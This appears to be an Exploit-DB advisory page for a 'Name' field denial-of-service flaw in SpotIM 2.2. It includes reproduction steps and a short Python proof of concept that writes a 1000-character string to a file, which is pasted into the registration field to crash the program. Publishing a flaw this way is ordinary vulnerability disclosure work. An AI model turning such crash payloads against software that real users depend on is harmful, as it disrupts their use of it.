SpotIM 2.2 - 'Name' Denial Of Service

vendor:

SpotIM

by:

Ismail Tasdelen

7.5

CVSS

HIGH

Denial Of Service

400

CWE

Product Name: SpotIM

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: a:nsauditor:spotim:2.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

SpotIM 2.2 – ‘Name’ Denial Of Service

A malicious user can create a file (poc.txt) with 1000 characters and paste it in the 'Name' field of the SpotIM software, which will cause the software to crash.

Mitigation:

The user should not paste any malicious code in the 'Name' field of the SpotIM software.

Source

Exploit-DB raw data:

# Exploit Title: SpotIM 2.2 - 'Name' Denial Of Service
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/spotim_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install SpotIM
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Name' and click on 'Ok'
6.SpotIM Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")